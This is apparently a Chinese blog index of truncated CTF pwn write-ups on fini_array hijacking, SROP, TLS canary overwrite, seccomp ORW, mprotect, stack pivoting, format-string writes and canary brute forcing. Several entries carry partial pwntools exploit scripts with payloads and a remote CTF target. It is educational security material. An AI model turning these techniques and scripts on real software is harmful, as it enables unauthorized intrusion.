劫持fini_array
知识点程序的入口并不是main,而是libc_start_main,程序运行流程图如下:
__libc_csu_init
main
__libc_csu_fini
fini_array[1]
fini_array[0]
libc_start_main函数原型
1__libc_start_main(main,argc,argv&env,_libc_csu_init,_libc_csu_fini,rtld_fini)
_libc_csu_init,_libc_csu_fini在代码段,可见是函数
下面是_libc_csu_fini函数的汇编实现,我们来分析一下
123456789101112131415161718192021222324252627push rbp #将rbp的值压入栈lea rax, unk_4B80C0 #将unk_4B80C0的地址(0x4B80C0)放入rax寄存器lea rbp, off_4B80B0 #将off_4B80B0的地址(0x4B80B0)放入rbp寄存器push rbxsub rax, rbp #r ...
srop
原理:SROP(Sigreturn Oriented Programming),sigreturn是一个系统调用,在 unix 系统发生 signal 的时候会被间接调用当系统进程发起(deliver)一个 signal 的时候,该进程会被短暂的挂起(suspend),进入内核①,然后内核对该进程保留相应的上下文,跳转到之前注册好的 signal handler 中处理 signal②,当 signal 返回后③,内核为进程恢复之前保留的上下文,恢复进程的执行④内核为进程保留相应的上下文的方法主要是:将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址,此时栈的情况是这样的:我们称 ucontext 以及 siginfo 这一段为 signal frame,需要注意的是这一部分是在用户进程的地址空间,之后会跳转到注册过 signal handler 中处理相应的 signal,因此,当 signal handler 执行完成后就会执行 sigreturn 系统调用来恢复上下文,主要是将之前压入的寄存器的内容给还原回对应的寄存器,然后恢复进程的 ...
justcode
利用方式:一个未初始化的变量和scanf缺少取地址符号导致的任意地址写
注意:循环中栈的地址是复用的
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859from pwn import *context(log_level='debug',arch='amd64')p=process('./pwn')libc=ELF('/home/miko/Desktop/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')stack_chk_fail=0x602038pop_rdi_ret=0x400ea3put_plt=0x400940libc_start_main_got=0x602050main=0x400D4Boffset=libc.symbols['__libc_start_ma ...
修改tls
知识点:(1)gdb中使用fsbase指令可获得fs寄存器的值
(2)TLS(线程局部储存):防止当一个线程卡死后对其它线程对全局变量或该函数内的static变量的使用产生影响,会在该线程开始时,拷贝一份全局变量和static变量到TLS段。线程的TLS段一般和栈段挨得很近
(3)线程题的canary比较:线程题的canary是把栈段的canary和TLS段的副本进行比较,所以要绕过canary的话,可以将栈段和TLS段的canary均覆盖成相同的值
(4)在 glibc 实现中,TLS 由段寄存器fs(x86-64 架构)指向。TLS在 glibc中的实现为 tcbhead_t(TCB)结构体,其定义如下:
12345678910111213typedef struct { void *tcb; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */ dtv_t *dtv; void *self ...
warm_up-seccomp沙箱(orw)
检查下保护
使用了seccomp系统调用,也就是说开了沙箱,seccomp-tools看看禁用了什么
禁用了execve系统调用,system系统调用实际上会调用execve,所以通过system(‘/bin/sh’)来getshell是不可能的,所以我们换个思路,通过orw,即open一个文件(实际上打开的是一个文件描述符),将文件的内容read到内存中,再将文件内容write到标准输出(stdout)
看看溢出函数
gdb调试偏移,填充24个字节后就是canary,canary最低位为\x00,所以用任意字符将\x00覆盖掉,通过printf即可泄露出canary
1234payload1=b'a'*24p.sendline(payload1)p.recvuntil(b'a'*24)canary=u64(p.recv(8))-0xa
继续调试,canary之后填充8个字节就是返回地址。但是我们要想orw得到flag,必须先写入orw的机器码,aslr会随机化栈的地址。所以我们选择存放在bss段或got表
...
not_the_same_3dsctf_2016-mprotect提升权限
这道题有两种解法,一种是fgets读取flag,另一种是mprotect提升权限,这里我们只介绍第二种解法
checksec,题目只开了栈不可执行,其他保护没有开启
int mprotect(void *addr, size_t len, int prot);
addr:修改保护属性区域的起始地址,addr必须是一个内存页的起始地址,简而言之为页大小(一般是 4KB == 4096字节)整数倍。len:被修改保护属性区域的长度,最好为页大小整数倍。
prot: 内存的权限 # 0x7 == 可读可写可执行
PROT_READ:可写,值为 1
PROT_WRITE:可读, 值为 2
PROT_EXEC:可执行,值为 4
PROT_NONE:不允许访问,值为 0
程序有mprotect函数,所以我们可以用mprotect函数修改got表或bss段内存区域的权限为0x7
ctrl+s打开程序的段表,观察到bss段的起始地址不是4kb(0x1000)的整数倍,所以选择修改got表
值得注意的是,这个程序没有关闭输入输出缓冲区,所以我们rec ...
2023ssctf-初赛
shanxi溢出的字节数不够,利用栈迁移获得足够空间构造rop链
exp如下:
1234567891011121314151617181920212223242526272829303132333435363738from pwn import *context(log_level='debug')elf=ELF('./pwn')libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')#p=process('./pwn')p=remote("60.204.130.55",10001)p.recvuntil(b'choice :\n')payload=str(2).encode('utf-8')p.sendline(payload)p.recv()p.sendline(b'%37$p%10$p%19$p')p.recvuntil(b'0x')libc_start_main=int( ...
32format-bss
checksec下,看下保护
如图,该函数存在漏洞,分析下函数逻辑,read函数将读取的0x32个字节放入s1中,strncmp函数将s1的前8个字节与“wllmmllw“比较,不同返回非0,执行printf函数,相同返回0,跳出循环。
gdb调试,发现printf的参数并不是储存在栈上,而是储存在bss段,所以我们不能直接在栈上写入内容,于是需要借助跳板来在栈上写入相应的值。
这里我们可以借助0xffffd0f8这个跳板,将0xffffd108指向的地址修改为0xffffd0fc,这样我们可以将0xffffd0fc指向的地址修改为我们想要的地址。为什么要修改0xffffd108指向的地址?是因为0xffffd0fc指向的地址高两个字节的地址为0x804,与system高两个字节的地址一致,便于修改,而且这个程序会一直处于while循环,没有leave,ret指令,所以也不用担心修改会破坏程序执行流。于是我们可以将printf函数的got表项的地址写到0xffffd0fc中。同理,我们可以将0xffffd108指向的地址修改为0xffffd10c,并将printf函数的got ...
2023ciscn-funcanary
checksec下,保护全开
主函数逻辑如下
存在fork函数创建子进程
v3 = fork(); 是 C 编程语言中的一行代码,它调用 fork() 函数并将其返回值分配给名为 v3 的变量。 fork() 函数通过复制调用进程来创建一个新进程。 fork() 函数被调用后,新进程(称为子进程)将与原进程(称为父进程)相同,但它们将独立执行。
fork()函数的返回值用于判断这段代码是在父进程中执行还是在子进程中执行。 如果 fork() 返回 0,则代码正在子进程中执行。 如果 fork() 返回正值,则代码正在父进程中执行,返回值是子进程的进程 ID。 如果 fork() 返回 -1,则发生错误并且没有创建子进程。
进入sub_128A()函数
存在栈溢出漏洞且有canary,考虑到有fork函数,可以使用canary爆破
对于 Canary,虽然每次进程重启后的 Canary 不同 (相比 GS,GS 重启后是相同的),但是同一个进程中的不同线程的 Canary 是相同的, 并且 通过 fork 函数创建的子进程的 Canary 也是相同的,因为 fork ...
2023ciscn-shaokao
拿到程序,checksec下,pie没开,nx和canary开着
运行程序,分别试试1,2,3,4,发现一开始余额为233,啤酒烤串会花钱,承包摊位钱不够
把程序放进ida分析,发现承包摊位需要100000,但是钱不够,继续观察
看见啤酒,串的钱的计算方式有缺陷,输入负数,余额会增加,倒贴是吧😊
成百万富翁啦:P
买下摊位后,出现了改名这一新选项,进ida看看
看见了strcpy函数,将v5复制到name,没有对复制的字符进行限制,scanf也没有对输入的字符进行限制,同时v5只能容纳32个字节,存在栈溢出漏洞
计算出偏移为40
因为程序函数很多,我们可以通过ROPgadget查找执行execve(“/bin/sh”,NULL,NULL)的片段
在程序里找不到/bin/sh字符串,但是我们看到烧烤摊能改名,想到将/bin/sh字符串写进name空间。
完成前置工作,依据rop的基本思想,构造payload:
from pwn import *context(log_level=’de ...